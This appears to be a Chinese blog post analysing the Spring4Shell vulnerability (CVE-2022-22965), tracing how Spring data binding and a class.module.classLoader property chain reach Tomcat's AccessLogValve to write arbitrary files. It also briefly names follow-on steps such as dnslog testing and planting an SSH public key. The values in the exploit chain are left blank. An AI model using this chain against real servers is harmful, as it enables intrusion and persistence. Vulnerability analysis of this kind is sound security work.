Spring rce CVE-2022-22965
原理大致是这样:spring框架在传参的时候会与对应实体类自动参数绑定,通过“.”还可以访问对应实体类的引用类型变量。使用getClass方法,通过反射机制最终获取tomcat的日志配置成员属性,通过set方法,修改目录、内容等属性成员,达到任意文件写入的目的。
环境:
jdk9、springmvc、tomcat8
一、先看下传参:
定义2个实体类
public class User {
private String username;
private String password;
public String getPassword() {
return password;
}
public void setPassword(String password) {
this.password = password;
}
public String getUsername() {
return username;
}
public void setUsername(String username) {
this.username = username;
}
public SubTest getSub(){
return new SubTest();
}
}
public class SubTest {
public void setsubfunction(String s){
System.out.println("=====");
System.out.println(s);
System.out.println("=====");
}
}
定义一个Controller类
@RestController
public class HelloController {
@RequestMapping("/rce")
@ResponseBody
public String helloTest(User user) throws IOException {
System.out.println(user.getPassword());
System.out.println(user.getUsername());
return "hello spring : ";
}
}
不管是GET还是POST,只要是Controller接受的方式都可以传参赋值。
利用POST方式,传参
POST /rce HTTP/1.1
Host: 127.0.0.1:8083
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=39A8228CB652B1A3CA4E1B49C87C40AF
Connection: close
Content-Length: 15 username=vpanda
这里username=vpanda的传参,调用了User的setUsername方法。
POST /rce HTTP/1.1
Host: 127.0.0.1:8083
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=39A8228CB652B1A3CA4E1B49C87C40AF
Connection: close
Content-Length: 25 sub.subfunction=aaaaatest
这里sub.subfunction=aaaaatest,实际调用User的getSub方法,获得SubTest对象后实现setsubfunction方法,传参aaaaatest,最终实现SubTest类型的setsubfunction。
输出
=====
aaaaatest
=====
二、接下去直接看POC的利用链:
class.module.classLoader.resources.context.parent.pipeline.first.pattern=
class.module.classLoader.resources.context.parent.pipeline.first.suffix=
class.module.classLoader.resources.context.parent.pipeline.first.directory=
class.module.classLoader.resources.context.parent.pipeline.first.prefix=
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
在这里的实现逻辑是当前user对象getclass获得了类对象,Class类中存在getModule,获得module类对象,而Module类又存在getclassloader方法,最终返回一个类加载器。

调试输出当前类加载器名称
ClassLoader classLoader = user.getClass().getModule().getClassLoader();
System.out.println("===classloader===");
System.out.println(classLoader);
System.out.println("===classloadername===");
System.out.println(classLoader.getClass().getName());
System.out.println("========");
===classloader===
ParallelWebappClassLoader
context: ROOT
delegate: false
----------> Parent Classloader:
java.net.URLClassLoader@1b7cc17c ===classloadername===
org.apache.catalina.loader.ParallelWebappClassLoader
========
通过输出结果可以看到当前对象的类加载器是org.apache.catalina.loader.ParallelWebappClassLoader,
ParallelWebappClassLoader继承WebappClassLoaderBase,WebappClassLoaderBase实现了getResources是WebResourceRoot接口类型,
WebResourceRoot接口存在getContext方法,Context接口类型,继承Container,Container实现parent和getPipeline,Pipeline接口实现getfirst,
最终得到Valve类型,通过类对象遍历所有成员。
Valve first = parallelWebappClassLoader.getResources().getContext().getParent().getPipeline().getFirst();
Class<? extends Valve> aClass = first.getClass();
System.out.println("====DeclaredFields=====");
Field[] fields = aClass.getDeclaredFields();
for (Field field : fields) {
System.out.println(field);
}
System.out.println("====Methods=====");
Method[] methods = aClass.getMethods();
for (Method method : methods) {
System.out.println(method);
}
输出结果,可以看到利用链中几个关键成员的set方法。
====DeclaredFields=====
private static final org.apache.juli.logging.Log org.apache.catalina.valves.AccessLogValve.log
private volatile java.lang.String org.apache.catalina.valves.AccessLogValve.dateStamp
private java.lang.String org.apache.catalina.valves.AccessLogValve.directory
protected volatile java.lang.String org.apache.catalina.valves.AccessLogValve.prefix
protected boolean org.apache.catalina.valves.AccessLogValve.rotatable
protected boolean org.apache.catalina.valves.AccessLogValve.renameOnRotate
private boolean org.apache.catalina.valves.AccessLogValve.buffered
protected volatile java.lang.String org.apache.catalina.valves.AccessLogValve.suffix
protected java.io.PrintWriter org.apache.catalina.valves.AccessLogValve.writer
protected java.text.SimpleDateFormat org.apache.catalina.valves.AccessLogValve.fileDateFormatter
protected java.io.File org.apache.catalina.valves.AccessLogValve.currentLogFile
private volatile long org.apache.catalina.valves.AccessLogValve.rotationLastChecked
private boolean org.apache.catalina.valves.AccessLogValve.checkExists
protected java.lang.String org.apache.catalina.valves.AccessLogValve.fileDateFormat
protected volatile java.lang.String org.apache.catalina.valves.AccessLogValve.encoding
private int org.apache.catalina.valves.AccessLogValve.maxDays
private volatile boolean org.apache.catalina.valves.AccessLogValve.checkForOldLogs
====Methods=====
public void org.apache.catalina.valves.AccessLogValve.log(java.io.CharArrayWriter)
public synchronized boolean org.apache.catalina.valves.AccessLogValve.rotate(java.lang.String)
public void org.apache.catalina.valves.AccessLogValve.rotate()
public java.lang.String org.apache.catalina.valves.AccessLogValve.getEncoding()
public void org.apache.catalina.valves.AccessLogValve.setEncoding(java.lang.String)
public void org.apache.catalina.valves.AccessLogValve.setRotatable(boolean)
public boolean org.apache.catalina.valves.AccessLogValve.isRenameOnRotate()
public java.lang.String org.apache.catalina.valves.AccessLogValve.getDirectory()
public void org.apache.catalina.valves.AccessLogValve.setCheckExists(boolean)
public void org.apache.catalina.valves.AccessLogValve.setDirectory(java.lang.String)
public boolean org.apache.catalina.valves.AccessLogValve.isRotatable()
public int org.apache.catalina.valves.AccessLogValve.getMaxDays()
public void org.apache.catalina.valves.AccessLogValve.setMaxDays(int)
public boolean org.apache.catalina.valves.AccessLogValve.isCheckExists()
public java.lang.String org.apache.catalina.valves.AccessLogValve.getFileDateFormat()
public java.lang.String org.apache.catalina.valves.AccessLogValve.getSuffix()
public void org.apache.catalina.valves.AccessLogValve.setRenameOnRotate(boolean)
public void org.apache.catalina.valves.AccessLogValve.setBuffered(boolean)
public boolean org.apache.catalina.valves.AccessLogValve.isBuffered()
public void org.apache.catalina.valves.AccessLogValve.setFileDateFormat(java.lang.String)
public void org.apache.catalina.valves.AccessLogValve.setSuffix(java.lang.String)
public synchronized void org.apache.catalina.valves.AccessLogValve.backgroundProcess()
public java.lang.String org.apache.catalina.valves.AccessLogValve.getPrefix()
public void org.apache.catalina.valves.AccessLogValve.setPrefix(java.lang.String)
public void org.apache.catalina.valves.AbstractAccessLogValve.invoke(org.apache.catalina.connector.Request,org.apache.catalina.connector.Response) throws java.io.IOException,javax.servlet.ServletException
public void org.apache.catalina.valves.AbstractAccessLogValve.log(org.apache.catalina.connector.Request,org.apache.catalina.connector.Response,long)
public int org.apache.catalina.valves.AbstractAccessLogValve.getMaxLogMessageBufferSize()
public void org.apache.catalina.valves.AbstractAccessLogValve.setMaxLogMessageBufferSize(int)
public void org.apache.catalina.valves.AbstractAccessLogValve.setLocale(java.lang.String)
public java.lang.String org.apache.catalina.valves.AbstractAccessLogValve.getLocale()
public boolean org.apache.catalina.valves.AbstractAccessLogValve.getEnabled()
public java.lang.String org.apache.catalina.valves.AbstractAccessLogValve.getCondition()
public void org.apache.catalina.valves.AbstractAccessLogValve.setCondition(java.lang.String)
public java.lang.String org.apache.catalina.valves.AbstractAccessLogValve.getPattern()
public void org.apache.catalina.valves.AbstractAccessLogValve.setConditionUnless(java.lang.String)
public void org.apache.catalina.valves.AbstractAccessLogValve.setIpv6Canonical(boolean)
public java.lang.String org.apache.catalina.valves.AbstractAccessLogValve.getConditionUnless()
public void org.apache.catalina.valves.AbstractAccessLogValve.setPattern(java.lang.String)
public boolean org.apache.catalina.valves.AbstractAccessLogValve.getIpv6Canonical()
public java.lang.String org.apache.catalina.valves.AbstractAccessLogValve.getConditionIf()
public void org.apache.catalina.valves.AbstractAccessLogValve.setConditionIf(java.lang.String)
public void org.apache.catalina.valves.AbstractAccessLogValve.setRequestAttributesEnabled(boolean)
public boolean org.apache.catalina.valves.AbstractAccessLogValve.getRequestAttributesEnabled()
public void org.apache.catalina.valves.AbstractAccessLogValve.setEnabled(boolean)
public java.lang.String org.apache.catalina.valves.ValveBase.toString()
public org.apache.catalina.Valve org.apache.catalina.valves.ValveBase.getNext()
public void org.apache.catalina.valves.ValveBase.setNext(org.apache.catalina.Valve)
public java.lang.String org.apache.catalina.valves.ValveBase.getObjectNameKeyProperties()
public void org.apache.catalina.valves.ValveBase.setContainer(org.apache.catalina.Container)
public java.lang.String org.apache.catalina.valves.ValveBase.getDomainInternal()
public org.apache.catalina.Container org.apache.catalina.valves.ValveBase.getContainer()
public boolean org.apache.catalina.valves.ValveBase.isAsyncSupported()
public void org.apache.catalina.valves.ValveBase.setAsyncSupported(boolean)
public final javax.management.ObjectName org.apache.catalina.util.LifecycleMBeanBase.getObjectName()
public final java.lang.String org.apache.catalina.util.LifecycleMBeanBase.getDomain()
public final javax.management.ObjectName org.apache.catalina.util.LifecycleMBeanBase.preRegister(javax.management.MBeanServer,javax.management.ObjectName) throws java.lang.Exception
public final void org.apache.catalina.util.LifecycleMBeanBase.postRegister(java.lang.Boolean)
public final void org.apache.catalina.util.LifecycleMBeanBase.preDeregister() throws java.lang.Exception
public final void org.apache.catalina.util.LifecycleMBeanBase.postDeregister()
public final void org.apache.catalina.util.LifecycleMBeanBase.setDomain(java.lang.String)
public final synchronized void org.apache.catalina.util.LifecycleBase.init() throws org.apache.catalina.LifecycleException
public final synchronized void org.apache.catalina.util.LifecycleBase.start() throws org.apache.catalina.LifecycleException
public final synchronized void org.apache.catalina.util.LifecycleBase.stop() throws org.apache.catalina.LifecycleException
public final synchronized void org.apache.catalina.util.LifecycleBase.destroy() throws org.apache.catalina.LifecycleException
public org.apache.catalina.LifecycleState org.apache.catalina.util.LifecycleBase.getState()
public java.lang.String org.apache.catalina.util.LifecycleBase.getStateName()
public void org.apache.catalina.util.LifecycleBase.addLifecycleListener(org.apache.catalina.LifecycleListener)
public void org.apache.catalina.util.LifecycleBase.removeLifecycleListener(org.apache.catalina.LifecycleListener)
public org.apache.catalina.LifecycleListener[] org.apache.catalina.util.LifecycleBase.findLifecycleListeners()
public boolean org.apache.catalina.util.LifecycleBase.getThrowOnFailure()
public void org.apache.catalina.util.LifecycleBase.setThrowOnFailure(boolean)
public final void java.lang.Object.wait(long,int) throws java.lang.InterruptedException
public final void java.lang.Object.wait() throws java.lang.InterruptedException
public final native void java.lang.Object.wait(long) throws java.lang.InterruptedException
public boolean java.lang.Object.equals(java.lang.Object)
public native int java.lang.Object.hashCode()
public final native java.lang.Class java.lang.Object.getClass()
public final native void java.lang.Object.notify()
public final native void java.lang.Object.notifyAll()
三、复现
在本地测试实现任意文件写入

将war包传到服务器,dnslog测试

如果使用root权限拉起了tomcat,尝试将ssh公钥写入服务器。

Spring rce CVE-2022-22965的更多相关文章
- Spring官宣网传大漏洞,并提供解决方案
Spring沦陷了!这样的标题这几天是不是看腻了?然而,仔细看看都是拿着之前的几个毫不相干的CVE来大吹特吹.所以,昨天发了一篇关于最近网传的Spring大漏洞的文章,聊了聊这些让人迷惑的营销文.以及 ...
- Intellij IDEA 2022 正式发布,这些功能真不错
Intellij IDEA 2022 正式发布了,作为正版用户,胖哥赶紧更新了一波,好家伙!这几个功能确实很香啊.新版更新的东西真不少,不愧是一个大版本更新. 依赖分析 IDEA的依赖检查.依赖冲突解 ...
- Spring 官宣发布 Spring Boot 3.0 第一个里程碑 M1,从 Java 8 提升到 Java 17!
Spring官方于2022年1月20日发布Spring Boot 3.0.0-M1版本,预示开启了Spring Boot 3.0的里程碑,相信这是通往下一代Spring框架的激动人心的旅程. 接下来一 ...
- Spring 6 源码编译和高效阅读源码技巧分享
一. 前言 Spring Boot 3 RELEASE版本于 2022年11月24日 正式发布,相信已经有不少同学开始准备新版本的学习了,不过目前还不建议在实际项目中做升级,毕竟还有很多框架和中间件没 ...
- Apache Dubbo 官方正式发布 Spring 6 & Spring Boot 3 支持
Dubbo 简介 Apache Dubbo 是一款 RPC 服务开发框架,用于解决微服务架构下的服务治理与通信问题,官方提供了 Java.Golang 等多语言 SDK 实现.使用 Dubbo 开发的 ...
- Spring4Shell的漏洞原理分析
Spring框架最新的PoC 这两天出来的一个RCE漏洞,但是有以下的条件限制才行: 必须是jdk9及以上 必须是部署在tomcat的应用 是springmvc的或者webflux的应用 具体的可以查 ...
- 警惕!Python 中少为人知的 10 个安全陷阱!
作者:Dennis Brinkrolf 译者:豌豆花下猫@Python猫 原题:10 Unknown Security Pitfalls for Python 英文:https://blog.sona ...
- SpringBoot3正式版将于11月24日发布:都有哪些新特性?
从 2018 年 2 月 28 号发布 Spring Boot 2.0 版本开始,整个 2.X 版本已经经过了 4 年多的时间,累计发布了 95 个不同的版本,而就在前不久,2.X 系列的也已经迎来了 ...
- 是时候考虑升级 JDK 17 了
Spring,作为 Java EE 的事实规范,在2022年11月16日发布了最新的 6.0.0 GA 版本.这个版本是框架后续新生代的初始版本,拥抱持续创新的 OpenJDK 和 Java 生态.新 ...
- Nacos详解
Nacos是什么 欢迎来到Nocos的世界! 组成部分 全称 描述 Na naming/nameServer 即服务注册中心,与 Spring Cloud Eureka 的功能类似. co confi ...
随机推荐
- 【Kafka系列】(二)Kafka的基本使用
有的时候博客内容会有变动,首发博客是最新的,其他博客地址可能会未同步,认准https://blog.zysicyj.top 首发博客地址 文章更新计划 系列文章地址 Kafka 线上集群部署方案怎么做 ...
- 使用阿里canal实现mysql与Elasticsearch增量同步
一.背景介绍 最近在做一个地理信息相关的项目,需要维护大量的地址描述数据,同时需要提供对数据检索的功能,准备采用Elasticsearch(6.7)实现.那么问题就来了,地址数据需要同时在MySQL和 ...
- [转帖]【mmap】深度分析mmap:是什么 为什么 怎么用 性能总结
https://blog.csdn.net/bandaoyu/article/details/106750990 目录 有什么用? 1.文件映射 2.分配内存(匿名文件映射) mmap基础概念 mma ...
- 【转帖】ChatGPT的前身:InstructGPT
https://www.jianshu.com/p/6daf35cbc46a ChatGPT的论文目前还没有发布,在其官方博客(https://openai.com/blog/chatgpt/)中对方 ...
- [转帖]【JVM】G1垃圾收集器的关键技术
前言 G1 GC,全称Garbage-First Garbage Collector,通过-XX:+UseG1GC参数来启用,作为体验版随着JDK 6u14版本面世,在JDK 7u4版本发行时被正式推 ...
- [转帖] 使用socat反向Shell多台机器
https://www.cnblogs.com/codelogs/p/16012319.html 场景# 很多时候,我们需要批量操作多台机器,业界一般使用Ansible来实现,但使用Ansible来操 ...
- 震惊p div 标签 可以编辑高度随内容的编辑而发生变化
震惊p标签可以编辑高度随内容的编辑而发生变化### 1==>只可编辑,粘贴复制字段长度不正常 <p contenteditable="true" >这是一个可编辑 ...
- webpack配置scss
安装依赖: cnpm i sass-loader -D cnpm i node-sass -D node-sass尽量去使用cnpm去安装 创建index2.scss文件 div { h2 { bac ...
- 当爬虫工程师遇到 CTF丨B 站 1024 安全攻防题解
答案参考 第一题:a1cd5f84-27966146-3776f301-64031bb9 第二题:36c7a7b4-cda04af0-8db0368d-b5166480 第三题:9d3c3014-6c ...
- windowsbat删除命令
widnwosbat命令 DEL /F /A /Q \?%1 用于删除指定路径下的文件,参数含义如下: /F: Force delete,即强制删除: /A: 用于指定文件属性,A代表存档,D代表目录 ...